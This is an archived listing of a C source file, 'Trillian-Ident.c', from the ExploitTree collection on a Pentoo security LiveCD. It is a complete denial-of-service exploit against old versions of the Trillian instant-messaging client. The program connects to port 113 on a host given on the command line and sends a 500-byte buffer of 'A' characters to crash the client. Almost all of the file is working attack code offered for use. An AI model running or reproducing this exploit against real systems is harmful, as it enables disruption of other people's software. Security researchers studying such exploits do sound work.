home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / trillian / Trillian-Ident.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  81 lines

  1. /* Trillian-Ident.c
  2.    Author: Lance Fitz-Herbert
  3.    Contact: IRC: Phrizer, DALnet - #KORP
  4.             ICQ: 23549284
  5.  
  6.    Exploits the Trillian Ident Flaw.
  7.    Tested On Version .74 and .73
  8.    Compiles with Borland 5.5
  9.    This Example Will Just DoS The Trillian Client.
  10.  
  11. */
  12.  
  13. #include <windows.h>
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. char payload[500];
  17. int main(int argc, char * argv[]) {
  18.         int iret;
  19.         struct hostent *host;
  20.         SOCKET sockhandle;
  21.         SOCKADDR_IN address;
  22.         WSADATA wsdata;
  23.  
  24.         if (argc<2) {
  25.                 printf("\nTrillian Ident DoS\n");
  26.                 printf("----------------------\n");
  27.                 printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
  28.                 printf("Tested On Version .74 and .73\n\n");
  29.                 printf("Usage: trillian-ident <address>");
  30.                 return 0;
  31.         }
  32.  
  33.         WSAStartup(MAKEWORD(1,1),&wsdata);
  34.         printf("Making Socket Now...\n");
  35.         sockhandle = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
  36.  
  37.         if (sockhandle == SOCKET_ERROR) {
  38.                 printf("Error Creating Socket\n");
  39.                 WSACleanup();
  40.                 return 1;
  41.         }
  42.  
  43.         printf("Socket Created\n");
  44.  
  45.         address.sin_family = AF_INET;
  46.         address.sin_port = htons(113);
  47.         address.sin_addr.s_addr = inet_addr(argv[1]);
  48.  
  49.  
  50.         if (address.sin_addr.s_addr == INADDR_NONE) {
  51.                 host = NULL;
  52.                 printf("Trying To Resolve Host\n");
  53.                 host = gethostbyname(argv[1]);
  54.                 if (host == NULL) {
  55.                         printf("Uknown Host: %s\n",argv[1]);
  56.                         WSACleanup();
  57.                         return 1;
  58.                 }
  59.                 memcpy(&address.sin_addr, host->h_addr_list[0],host->h_length);
  60.         }
  61.  
  62.  
  63.  
  64.         printf("Connecting To Server...\n");
  65.         iret = connect(sockhandle, (struct sockaddr *) &address,        sizeof(address));
  66.  
  67.         if (iret == SOCKET_ERROR) {
  68.                 printf("Couldnt Connect\n");
  69.                 WSACleanup();
  70.                 return 1;
  71.         }
  72.  
  73.         printf("Connected to %s!\nSending Payload\n",argv[1]);
  74.         memset(payload,'A',500);
  75.         send(sockhandle,payload,strlen(payload),0);
  76.         Sleep(100);
  77.         WSACleanup();
  78.         return 0;
  79. }
  80.  
  81.